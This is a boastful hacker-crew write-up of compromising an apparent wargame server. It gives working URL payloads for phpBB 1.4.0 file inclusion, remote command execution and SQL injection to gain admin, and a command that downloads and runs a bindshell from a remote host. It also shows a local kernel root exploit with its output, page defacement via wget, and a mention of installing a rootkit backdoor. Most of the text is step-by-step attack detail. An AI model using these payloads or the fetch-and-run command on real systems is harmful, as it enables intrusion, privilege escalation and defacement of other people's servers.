```
                           |~~~~~~~|
                           |       |
                           | 0x29a |
                           |       |
                           |       |
|~.\\\_\~~~~~~~~~~~~~~xx~~~          ~~~~~~~~~~~~~~~~~~~~~/_//;~|
|  \  o \_          ,XXXXX),                           _..-~ o /  |
|    ~~\  ~-.     XXXXX`)))),                     _.--~~   .-~~~  |
 ~~~~~~~`\   ~\~~~XXX' _/ ';))        |~~~~~~..-~      _.-~ ~~~~~~~
          `\   ~~--`_\~\, ;;;\)__.---.~~~       _.-~
            ~-.         `:;;/;; \            _..-~~
               ~-._       `''          /-~-~
                   `\                 /   /
                     |         ,     |  |
                      |  '         /   |
                       \/;            |
                         :;           |
                        `;    .        |
                         |~~~-----.....|
                        | \             \
                       | /\~~--...__     |
                       (|   `\      __-\|
                       ||     \_   /~    |
                       |)      \~-'      |
                        |       | \      '
                        |       |  \     :
                         \      |   |    |
                          |     )   (    )
                           \   /;   /\  |
                           |     |/    |
                           |     |    |
                            \   .'   ||
                             |   |   | |
                             (   | |   |
                             |    \ \  |
                             || o  `.) |
                             | `\\\\)  |
                             |         |
                             |         |
                             |~~~~~~~~|
```

```
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%                                          %
% easiest asta wargame hack of the century %
%                                          %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
```

"im rick jamesssssssssss bitch!" -atomix
"You think you know, but you have no idea. YEAAAAAAAAAH, OKAAAAAAY" - Fable

Info:

Wargames Server 3
Crew: 0x29A
Members: Atomix, Fable.
Time: 10-20 minutes.
Site: Rootthief.com; Activesecurity.us.
Contact: fable@hush.com; atomix@hush.ai

¤The Hack¤

[atomix]:
Oh cmon....this shit was 2 fuxing easy....no need to bother nmapping this shit bcuz you know theres already gonna be script flaws. of course starting at phpBB you notice that its running version 1.4.0... knowing that 1.4.0 suffers from a mess load of vulnerabilities and knowing that the latest version is like 2.6.0 something that i can exploit it...so anyway remembering an old url vulnerability that would allow me to read any file on the server... i do it using the following lines, one after the other:

http://212.254.194.174/phpBB/prefs.php?viewemail=1&savecookie=0&sig=0&smile=0&dishtml=0&disbbcode=0&themes=2&lang=THIS_IS_AN_INVALID_LANG_FILE&save=1&user=&submit=Gravar+Prefer%EAncias

http://212.254.194.174/phpBB/prefs.php?teste=/etc/magicword&l_statsblock=include($teste);

oh lookie. i got the magic word. and oh lookie, its in base64. how secure, I used the asta encryption kit to unencrypt it...

The magic-word is: c2VjdXJpdHlfaXNfZm9yX3doZWVuaWVz
c2VjdXJpdHlfaXNfZm9yX3doZWVuaWVz --> security_is_for_wheenies

[Fable]:
Noticing the flaw in phpBB, I then thought maybe I can get some remote execution here. I had an old script that was coded specifically for remote file inclusions and it will run commands on the server. With this being said I tested it out:

http://212.254.194.174/phpBB/prefs.php?teste=http://[none ya buisness]/cross.jpg?&cmd=id;uname -a&l_statsblock=include($teste);

viola...

uid=99(nobody) gid=98(nobody) groups=98(nobody)
Linux wargames3 2.4.18 #4 Fri May 31 01:25:31 PDT 2002 i586 unknown

YAY! We can run commands, and look, it's an old kernel too! hmm.... next I did the command cd /tmp;wget http://[none ya buisness]/rpcd;chmod +x rpcd;rpcd
rpcd being a semi-private bindshell that allows any user who runs it to have it open a port and bind a shell to it, the best thing about it is you don't have to be root to do it.

So, now we have our shell running, I telnet in to it, YES! It drops sh$. Now, remember that old kernel, time to exploit it. I wget one of my binarys, I don't have a ptrace binary and I didn't feel like going threw the trouble of compiling it when we could run the do_brk just as successful, so then I do this:

```
sh-2.05a$ chmod 777 do_brk && ./do_brk && rm do_brk
sh-2.05a# id
uid=0(root) gid=0(root)
sh-2.05a#
```

Now I have root. I don't have pico because of how the exploit works so I have to set up a page on a remote server and wget it so I can deface the index.html. With that done, all I have left is to put my name on the phpNuke page. I was too lazy to figure out how to exploit it, so I just set up another page on a remote server and used wget to get it, now we have the phpNuke index with "Fable & Atomix - 0x29A crew" at the top of it. Later atomix found out all you had to do was

http://212.254.194.174/phpNuke/html/admin.php?admin=user

But it was too late. Oh yes! I had almost forgot about phpBB, all I had to do was register and paste this url

http://212.254.194.174/phpBB/prefs.php?save=1&viewemail=1',user_level%3D'4'%20where%20username%3D'fable'%23

^^What that does is make the account "fable" admin, so then I posted in the phpBB mod forum to finish it off.

Now that we have completed all of the targets, I remove our way of entry (the bindshell) by killing the pid so no one else can use it. Fin. Well we were the first to own the wargames server in less then 10 minutes of trying.

Isn't it great to be fable and atomix?

¤The Error¤

Everything seemed to have went okay right? Wrong. When I first got the shell and got root, you have to understand that the shell I had wasn't like a regular shell. So I couldn't adduser or change anyones passwd because of the way it was set up. I also couldn't use pico, vi, or any other text editers. The simplest thing I thought would be to install a rootkit, usually this rootkit always works, it would install an ssh backdoor on specific port then I would have a real shell. It didn't work out well, I don't know why I didn't, but it didn't. In the end the files in /bin would not work, so to get around it I would cp /bin/file /tmp/file; chmod 777 /tmp/file then run /tmp/file if I needed to. I really didn't see what the big deal was but apparently the other asta members did and got really mad at me, not like I cared anyway. But yep, that's the end of this white paper.

"Spoofed Existence || Happiness is having a large, loving, caring, close-knit family in another city. says: but just tell me in what program the exploit is, please."